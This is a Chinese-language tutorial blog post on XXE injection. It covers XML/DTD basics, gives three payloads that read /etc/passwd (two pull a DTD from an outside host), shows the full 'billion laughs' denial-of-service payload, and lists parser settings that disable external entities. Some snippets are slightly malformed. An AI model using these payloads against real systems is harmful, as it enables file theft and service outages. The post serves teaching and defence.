XXE原理利用防御

XML外部实体(XXE)

1.何为XXE?
XXE是xml外部实体注入.
说到这里简单介绍下什么是xml,xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.xml文档结构包括xml声明、DTD文档类型定义(可选)、文档元素.
所有的XML文档均有以下简单的构建模块组成:
·元素(元素是XML以及HTML文档的主要构成模块,元素可包含文本、其他元素或者是空的)
·属性(属性可提供有关元素的额外信息)
·实体(实体是用来定义普通文本的变量。实体引用是对实体的的引用,这里的引用就可以为我们提供xxe攻击)
·PCDATA(会被解析器解析的文本。这些文本将被解析器检查实体以及标记)
·CDATA(字符数据,不会被解析器解析的文本)

DTD(文档类型定义)

DTD的作用是定义XML文档的合法构建模块
DTD可以在XML文档内声明,也可以外部引用
内部声明:
外部声明:

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体分为一般实体和参数实体
1. 一般实体的声明语法:

怎么构建外部实体注入?

方式一:直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [
     <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:

<?xml version="1.0">
<!DOCTYPE a SYSTEM "http://abc.com/xxe.dtd">  
<c>&b;</c>   

DTD内容:

<!ENTITY b SYSTEM "file:///etc/passwd" ]

方式三:通过DTD外部实体声明引入外部实体声明
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
xml内容:

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://abc.com/xss.dtd">
    %d;
]>
<c>&b;</c>

dtd文件内容:

<!ENTITY b SYSTEM "file:///etc/passwd">
产生的危害

xxe危害1:读取任意文件
xxe危害2: 执行系统命令
xxe危害3:探测内网端口
xxe危害4:攻击内网网站
xxe危害5: 导致DOS攻击(著名的’billion laughs’)
简单介绍下billion laughs
该攻击通过创建一项递归的xml定义,在内存中生成是十亿个“Ha!”字符串,从而导致DOS攻击。
原理:构造恶意的XML实体文件耗尽可用内存,因为许多xml解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,从而造成拒绝服务攻击。

<?xml version="1.0"?>



<!DOCTYPE lolz [



<!ENTITY lol "lol">



<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">



<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">



<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">



<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">



<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">



<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">



<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">



<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">



]>



<lolz>&lol9;</lolz>
如何防御xxe攻击

由于导致问题的原因是XML解析器解析了用户发送的不可信数据。我们去校验DTD中SYSTEM标识符定义的数据,并不容易,也不大可能,所以,最好的解决方法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
方式1: 使用开发语言提供的禁用外部实体的方法

PHP:  
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);  

Python:  
from lxml import etree  
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方式2: 过滤用户提交的XML数据
关键词:

部分内容来自网络
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值